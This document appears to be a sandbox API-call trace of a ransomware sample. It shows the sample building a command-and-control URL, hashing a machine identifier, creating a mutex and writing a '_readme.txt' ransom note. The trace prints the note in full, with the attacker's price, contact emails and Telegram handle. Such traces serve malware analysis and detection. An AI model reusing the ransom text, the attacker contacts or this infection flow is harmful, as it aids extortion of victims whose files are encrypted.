(lpString="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned 66 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x86) returned 0x74e730 [0110.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3274ce8, cbMultiByte=-1, lpWideCharStr=0x74e730, cchWideChar=67 | out: lpWideCharStr="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned 67 [0110.642] lstrcatW (in: lpString1="", lpString2="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.642] lstrlenA (lpString="") returned 0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220720 [0110.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3274f50, cbMultiByte=-1, lpWideCharStr=0x3220720, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.642] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.642] lstrlenA (lpString="") returned 0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220710 [0110.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32751b8, cbMultiByte=-1, lpWideCharStr=0x3220710, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.642] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.642] lstrlenA (lpString="") returned 0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220730 [0110.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3275420, cbMultiByte=-1, lpWideCharStr=0x3220730, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.642] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.642] lstrlenA (lpString="") returned 0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220740 [0110.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3275688, cbMultiByte=-1, lpWideCharStr=0x3220740, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.642] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.642] lstrlenA (lpString="") returned 0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x32207d0 [0110.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32758f0, cbMultiByte=-1, lpWideCharStr=0x32207d0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.643] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.643] lstrlenA (lpString="") returned 0 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x32207b0 [0110.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3290060, cbMultiByte=-1, lpWideCharStr=0x32207b0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.643] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.643] lstrlenA (lpString="") returned 0 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220770 [0110.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32902c8, cbMultiByte=-1, lpWideCharStr=0x3220770, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.643] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.643] lstrlenA (lpString="") returned 0 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220760 [0110.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3290530, cbMultiByte=-1, lpWideCharStr=0x3220760, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.643] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.643] lstrlenA (lpString="") returned 0 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2) returned 0x3220780 [0110.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3290798, cbMultiByte=-1, lpWideCharStr=0x3220780, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0110.643] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php", lpString2="" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php" [0110.643] lstrlenW (lpString="") returned 0 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12) returned 0x713d60 [0110.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x288) returned 0x3275b58 [0110.643] GetAdaptersInfo (in: AdapterInfo=0x3275b58, SizePointer=0x18c0c4 | out: AdapterInfo=0x3275b58, SizePointer=0x18c0c4) returned 0x0 [0110.654] GetAdaptersInfo (in: AdapterInfo=0x3275b58, SizePointer=0x18c0c4 | out: AdapterInfo=0x3275b58, SizePointer=0x18c0c4) returned 0x0 [0110.656] GetLastError () returned 0x0 [0110.656] SetLastError (dwErrCode=0x0) [0110.657] GetLastError () returned 0x0 [0110.657] SetLastError (dwErrCode=0x0) [0110.657] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x3275de8 [0110.657] GetLastError () returned 0x0 [0110.657] SetLastError (dwErrCode=0x0) [0110.657] GetLastError () returned 0x0 [0110.657] SetLastError (dwErrCode=0x0) [0110.657] GetLastError () returned 0x0 [0110.657] SetLastError (dwErrCode=0x0) [0110.657] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18a4e0 | out: lpMode=0x18a4e0) returned 0 [0110.665] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18abbc, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x18a4e8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18a4e8, lpOverlapped=0x0) returned 0 [0110.665] GetLastError () returned 0x6 [0110.665] GetLastError () returned 0x6 [0110.665] SetLastError (dwErrCode=0x6) [0110.665] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18a4dc | out: lpMode=0x18a4dc) returned 0 [0110.666] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18abb8, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18a4e4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18a4e4, lpOverlapped=0x0) returned 0 [0110.666] GetLastError () returned 0x6 [0110.666] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] GetLastError () returned 0x6 [0110.666] SetLastError (dwErrCode=0x6) [0110.666] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3275b58 | out: hHeap=0x660000) returned 1 [0110.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x7196e0 [0110.666] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3282e28 [0110.666] CryptAcquireContextW (in: phProv=0x18c094, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c094*=0x7401f0) returned 1 [0110.667] CryptCreateHash (in: hProv=0x7401f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c09c | out: phHash=0x18c09c) returned 1 [0110.667] CryptHashData (hHash=0x71b090, pbData=0x3282e28, dwDataLen=0x11, dwFlags=0x0) returned 1 [0110.667] CryptGetHashParam (in: hHash=0x71b090, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c098, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c098) returned 1 [0110.667] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x713d80 [0110.667] CryptGetHashParam (in: hHash=0x71b090, dwParam=0x2, pbData=0x713d80, pdwDataLen=0x18c098, dwFlags=0x0 | out: pbData=0x713d80, pdwDataLen=0x18c098) returned 1 [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.667] SetLastError (dwErrCode=0x0) [0110.667] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x3282770 [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.668] SetLastError (dwErrCode=0x0) [0110.668] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] GetLastError () returned 0x0 [0110.669] SetLastError (dwErrCode=0x0) [0110.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x735c68 [0110.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3282770 | out: hHeap=0x660000) returned 1 [0110.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d80 | out: hHeap=0x660000) returned 1 [0110.669] CryptDestroyHash (hHash=0x71b090) returned 1 [0110.669] CryptReleaseContext (hProv=0x7401f0, dwFlags=0x0) returned 1 [0110.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3282e28 | out: hHeap=0x660000) returned 1 [0110.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c108 [0110.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x735c68 | out: hHeap=0x660000) returned 1 [0110.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7196e0 | out: hHeap=0x660000) returned 1 [0110.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x670) returned 0x5b4 [0110.875] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0xffffffff) returned 0x0 [0111.398] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5b8 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b8028 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290a00 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290c68 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290ed0 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291138 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32913a0 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291608 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291870 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291ad8 [0111.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291d40 [0111.399] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3291fa8 [0111.399] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf260 [0111.399] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3276df0 [0111.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI", cchWideChar=-1, lpMultiByteStr=0x3276df0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI", lpUsedDefaultChar=0x0) returned 41 [0111.399] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3277220 [0111.399] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3276df0 | out: hHeap=0x660000) returned 1 [0111.399] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf260 | out: hHeap=0x660000) returned 1 [0111.399] CryptAcquireContextW (in: phProv=0x18c104, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c104*=0x7401f0) returned 1 [0111.400] CryptCreateHash (in: hProv=0x7401f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c108 | out: phHash=0x18c108) returned 1 [0111.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0111.400] CryptHashData (hHash=0x32a67c8, pbData=0x3277220, dwDataLen=0x28, dwFlags=0x0) returned 1 [0111.400] CryptGetHashParam (in: hHash=0x32a67c8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c10c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c10c) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x713d80 [0111.400] CryptGetHashParam (in: hHash=0x32a67c8, dwParam=0x2, pbData=0x713d80, pdwDataLen=0x18c10c, dwFlags=0x0 | out: pbData=0x713d80, pdwDataLen=0x18c10c) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x34) returned 0x32a6748 [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] lstrcatA (in: lpString1="", lpString2="E7" | out: lpString1="E7") returned="E7" [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] lstrcatA (in: lpString1="E7", lpString2="07" | out: lpString1="E707") returned="E707" [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] lstrcatA (in: lpString1="E707", lpString2="66" | out: lpString1="E70766") returned="E70766" [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] lstrcatA (in: lpString1="E70766", lpString2="78" | out: lpString1="E7076678") returned="E7076678" [0111.400] GetLastError () returned 0x0 [0111.400] SetLastError (dwErrCode=0x0) [0111.400] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E7076678", lpString2="1A" | out: lpString1="E70766781A") returned="E70766781A" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E70766781A", lpString2="80" | out: lpString1="E70766781A80") returned="E70766781A80" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E70766781A80", lpString2="05" | out: lpString1="E70766781A8005") returned="E70766781A8005" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E70766781A8005", lpString2="44" | out: lpString1="E70766781A800544") returned="E70766781A800544" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E70766781A800544", lpString2="C4" | out: lpString1="E70766781A800544C4") returned="E70766781A800544C4" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] lstrcatA (in: lpString1="E70766781A800544C4", lpString2="FC" | out: lpString1="E70766781A800544C4FC") returned="E70766781A800544C4FC" [0111.401] GetLastError () returned 0x0 [0111.401] SetLastError (dwErrCode=0x0) [0111.401] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC", lpString2="34" | out: lpString1="E70766781A800544C4FC34") returned="E70766781A800544C4FC34" [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC34", lpString2="55" | out: lpString1="E70766781A800544C4FC3455") returned="E70766781A800544C4FC3455" [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC3455", lpString2="68" | out: lpString1="E70766781A800544C4FC345568") returned="E70766781A800544C4FC345568" [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC345568", lpString2="D4" | out: lpString1="E70766781A800544C4FC345568D4") returned="E70766781A800544C4FC345568D4" [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC345568D4", lpString2="CD" | out: lpString1="E70766781A800544C4FC345568D4CD") returned="E70766781A800544C4FC345568D4CD" [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] GetLastError () returned 0x0 [0111.402] SetLastError (dwErrCode=0x0) [0111.402] lstrcatA (in: lpString1="E70766781A800544C4FC345568D4CD", lpString2="E1" | out: lpString1="E70766781A800544C4FC345568D4CDE1") returned="E70766781A800544C4FC345568D4CDE1" [0111.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x713d80 | out: hHeap=0x660000) returned 1 [0111.402] CryptDestroyHash (hHash=0x32a67c8) returned 1 [0111.402] CryptReleaseContext (hProv=0x7401f0, dwFlags=0x0) returned 1 [0111.402] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3277220 | out: hHeap=0x660000) returned 1 [0111.402] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf260 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b7ff8 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3292210 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3292478 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32926e0 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3292948 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3292bb0 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3292e18 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3293080 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32932e8 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3293550 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32937b8 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x816) returned 0x3276df0 [0111.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c110, cbMultiByte=-1, lpWideCharStr=0x3276df0, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3277610 [0111.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3276df0 | out: hHeap=0x660000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b81a8 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3293a20 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3293c88 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a19c8 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a1c30 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a1e98 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2100 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2368 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a25d0 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2838 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32a2aa0 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0111.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1d0) returned 0x71a6a8 [0111.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2b7) returned 0x3276df0 [0111.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x71a6a8 | out: hHeap=0x660000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x412) returned 0x32770b0 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3276df0 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x61a) returned 0x3277e38 [0111.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32770b0 | out: hHeap=0x660000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x470) returned 0x3278460 [0111.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10da) returned 0x327a468 [0111.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3278460, cbMultiByte=-1, lpWideCharStr=0x327a468, cchWideChar=2157 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned 1134 [0111.404] 